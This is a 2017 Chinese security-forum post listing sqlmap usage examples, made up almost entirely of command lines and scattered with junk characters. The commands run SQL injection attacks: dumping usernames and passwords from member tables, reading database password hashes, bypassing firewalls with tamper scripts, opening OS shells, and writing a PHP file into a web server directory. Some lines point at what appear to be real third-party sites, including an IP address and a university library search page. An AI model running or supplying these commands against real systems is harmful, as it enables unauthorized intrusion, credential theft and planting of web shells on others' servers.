找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2194|回复: 0
打印 上一主题 下一主题

sqlmap使用实例

[复制链接]
跳转到指定楼层
楼主
发表于 2017-5-19 17:03:10 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
/pentest/database/sqlmap
/ a1 c) H0 C# G. O* s. Q0 ]8 @" |2 D' {5 y* d
update :::::>     in the folder   after  execute    following   order : svn update
8 I3 B4 r7 l  J$ ]6 N* X% ~. v
- E, U6 [1 A$ H* H" ?) Y# z3 Psqlmap.py -r 1.txt --current-db* d( n4 E4 ~4 H% ~
* W0 l+ _( h( X" o) e( V, |
v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”( ?9 G: p1 ~* O9 I& S* W

" I! X% t: P' l" t* O==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) $ C4 Q1 }! G& E0 y
猜解数据库* X! [# i- Z" D3 J
./sqlmap.py -u "injection-url" --dbs
8 S5 d+ a5 H9 Ksqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"
3 U6 _+ I4 X! @% @% ?- Q4 j* M( Q( l0 p: ~3 x1 w
猜解表名  h# K5 l% b# ~; Z! a8 |7 `  `
./sqlmap.py -u "injection-url" -D database_name --tables$ ]& b* t: [) p+ V( A

/ {: J! V7 M' ]& c; \0 W" n" i' bsqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"
0 A5 |+ \" h, ]7 L; D, b" Ssqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
5 l2 b7 B# v0 e' Q! f0 q# G0 Y" H, z9 @4 w
sqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump8 o! D, d. W/ e+ f: w% i  l
5 A( k- b  }7 Z- T; f
sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"
3 L  k$ R. }  U8 f7 Esqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"
0 }8 P- F9 T: ?; H4 gsqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py" 4 @# U( V$ ~2 @$ P. g% r8 }* P! H6 D7 g
sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"
) t5 H- o$ X! H% Z8 I3 |2 C4 H
& R& s% V9 C3 [, P# ksqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py". @  o& r4 S, v% Z$ Q
sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"& U. D1 \$ W, n# B) U) ~5 H" N
sqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"
  ?! Z8 W$ k1 q- [) V" ^3 p% U% x$ isqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"0 n& `7 u; N* o8 |  P* H
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump
: h+ p2 W9 w7 @( j$ P" x/ a+ y) @& T. X8 F) E5 ]+ r
sqlmap.py -r 1.txt -v 3 --dbs  --batch --tamper "space2morehash.py" 绕过防火墙了
( J0 R# i  _6 a: a7 L7 Nsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"6 b6 R, p% }5 ~7 O2 r/ a

# H, J3 g6 z" b1 w: Q, zsqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst". x9 m) q& k8 @
猜解列名
6 g9 Y8 B- s; X# t./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
0 ]2 X% Y$ g, R; S+ R
  H$ H! g. e1 g6 C2 usqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py"
( K  x& W6 j8 osqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py"   M: A3 y0 Q, m" k* W% _
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"
  c9 `! d6 I4 J5 b! K$ K8 J# ]2 B' y- A( W
sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"/ e% v; ]4 t/ G
&submit=Go
, v' c- d* P$ k" [6 @猜解值% [. ~0 s! ~) A' j3 v1 v
./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump; [1 D7 I3 \7 J- `% B& S3 m
========================================================' E* w; c  ]% D+ N# L
搜索表名中包括mana字符的, O' m+ m9 ~5 D, x
/sqlmap.py -u "injection-url" -T mana --search+ p( U8 y$ Y  v6 L! H5 k# v
返回一个交互式sql shell: y% B8 {$ ~- I2 O
/sqlmap.py -u "injection-url" --sql-shell! V$ V1 R* ]  V2 B  d
读取指定文件(需权限)5 }% `! ], w& q  X
/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"0 E  R9 M% Y- [- x' b8 J0 D
查看当前 用户 及 数据库 # [$ C+ B: r4 Y
/sqlmap.py -u "injection-url" --current-user --current-db
- a' b9 f/ r$ A3 _9 g! ]本地文件 写入 远程目标绝对路径
' c! K. Z' ]5 A6 i0 N/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
4 @+ P6 U8 R8 `" \sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py" 4 F2 ]+ V' Y* h( |  H) Z
, I# i8 ~+ P; [4 Y3 }
sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径# C. R) h& `- y' o+ B+ d/ t+ g
查看某用的权限1 C/ K5 A  |+ x  q. p2 M( @) ?
/sqlmap.py -u "injection-url" --privileges -U root
! p# G; e' f0 u: H- a2 M查看当前用户是否为dba
( z, ]$ U% l; g, `' F/sqlmap.py -u "injection-url" --is-dba
; L3 @. j5 h1 H, g读取所有数据库用户或指定数据库用户的密码& G' V) h6 A* K; w& h' V3 ^, O
sqlmap.py -r 1.txt --users --passwords
: a! O6 X! j; J6 Zsqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py" " G7 }9 c, t' h! x

9 X/ w) ^: Y! z1 \2 m5 q  [/sqlmap.py -u "injection-url" --passwords -U root
. O& U, B" Y( R* i# D& [. J$ P; L! T; B! _  A- i4 ^
--start&&--stop 与 --first&&--last 的区别" o4 H2 i/ V5 ^! B
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump   (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)* J9 P- v: b9 p, j* B

3 O; G8 E% Y6 C从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)  |" @3 N/ k, S9 m- v, |3 M
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables5 N: L3 R; ?; [
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns
+ t0 h: |3 s5 W. N2 N) r; ~, M/ w' W! n5 w  [
执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)
6 i! x+ F( a/ \7 s2 v5 B/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"
1 W- b1 I+ o# f: Y2 G3 J  ^# a  C8 q5 U" s/ v9 @- |. M
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表